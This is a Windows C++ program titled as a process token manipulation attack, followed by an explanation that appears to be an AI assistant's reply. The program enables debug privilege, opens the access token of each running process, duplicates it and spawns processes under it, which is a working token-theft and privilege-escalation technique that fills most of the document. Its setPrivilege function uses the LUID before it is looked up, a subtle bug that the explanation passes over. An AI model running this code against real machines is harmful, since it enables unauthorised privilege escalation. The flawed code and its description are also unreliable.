Process Token Manipulation Attack

C++ Code

```cpp
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <conio.h>

using namespace std;

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    BOOL res = TRUE;

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
    if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
    printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
    return res;
}

HANDLE getToken(DWORD pid) {
    HANDLE cToken = NULL;
    HANDLE ph = NULL;
    if (!setPrivilege(SE_DEBUG_NAME)) {
        printf("[-] Failed to set SE_DEBUG_NAME privilege\n");
        return NULL;
    }
    ph = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, pid);
    if (ph == NULL) {
        cToken = (HANDLE)NULL;
    } else {
        BOOL res = OpenProcessToken(ph, MAXIMUM_ALLOWED, &cToken);
        if (!res) {
            cToken = (HANDLE)NULL;
        } else {
            printf("[+] Successfully get access token :)\n");
        }
    }
    if (ph != NULL) {
        CloseHandle(ph);
    }
    return cToken;
}

BOOL createProcess(HANDLE token, LPCWSTR app) {
    // initialize variables
    HANDLE dToken = NULL;
    STARTUPINFOW si;
    PROCESS_INFORMATION pi;
    BOOL res = TRUE;
    ZeroMemory(&si, sizeof(STARTUPINFOW));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(STARTUPINFOW);

    res = DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &dToken);
    printf(res ? "[+] successfully duplicate process token :)\n" : "[-] failed to duplicate process token :(\n");
    res = CreateProcessWithTokenW(dToken, LOGON_WITH_PROFILE, app, NULL, 0, NULL, NULL, &si, &pi);
    printf(res ? "[+] successfully create process :)\n" : "[-] failed to create process :(\n");
    return res;
}

int main(){
    HANDLE hProcSnap;
    PROCESSENTRY32 pe32;
    int pid = 0;

    hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if(!Process32First(hProcSnap, &pe32)) {
        CloseHandle(hProcSnap);
        return 0;
    }

    while (Process32Next(hProcSnap, &pe32)) {
        pid = pe32.th32ProcessID;
        if (!setPrivilege(SE_DEBUG_NAME)) return -1;
        bool success = false;
        cout << endl;
        HANDLE cToken = getToken(pid);
        printf("[!] Token: %d", cToken);
        cout << endl;
        success = createProcess(cToken, L"C:\\Windows\\System32\\notepad.exe");
        getch();
    }
    CloseHandle(hProcSnap);
    return 0;
}
```

This code appears to be a Windows C++ program that demonstrates how to obtain and manipulate process tokens, set privileges, and create processes with specific tokens. It's important to note that this code involves working with Windows security mechanisms and privileges, and it seems to be intended for educational purposes only.

Here's a breakdown of the key functions and their purpose in this code:

1. **setPrivilege(LPCTSTR priv)**:
   - This function is used to enable a specified privilege for the current process.
   - It takes a privilege name as input (e.g., `"SE_DEBUG_NAME"`), looks up the privilege value, opens the current process's token, and adjusts the token's privileges to enable the specified privilege.
   - It prints a message indicating whether the privilege was successfully enabled.
2. **HANDLE getToken(DWORD pid)**:
   - This function is designed to retrieve a process's access token based on its process ID (PID).
   - It first attempts to set the `"SE_DEBUG_NAME"` privilege using the `setPrivilege` function.
   - Then, it opens the target process with the `PROCESS_QUERY_LIMITED_INFORMATION` access right to obtain its token.
   - If successful, it returns the process's access token.
3. **createProcess(HANDLE token, LPCWSTR app)**:
   - This function is responsible for creating a new process with a specified access token.
   - It duplicates the provided token using `DuplicateTokenEx`.
   - It then uses `CreateProcessWithTokenW` to create a new process with the duplicated token. The `app` parameter specifies the path to the application to be executed.
   - The function prints a message indicating whether the process creation was successful.
4. **main()**:
   - The `main` function is where the program starts its execution.
   - It begins by enumerating running processes using `CreateToolhelp32Snapshot` and `Process32First/Process32Next` functions.
   - For each process found, it obtains its access token, and then it attempts to create a new process (in this case, launching Notepad) using the token.
   - The `"SE_DEBUG_NAME"` privilege is set before attempting to obtain the token and create the process.
   - The program waits for user input after creating each process (using `getch`) to allow the user to observe the behavior.

Please note that this code demonstrates certain aspects of Windows security and process manipulation. It's essential to use such knowledge and code responsibly and only for ethical and educational purposes, as implied by your user profile. Unauthorized or malicious use of these techniques can have legal and ethical consequences.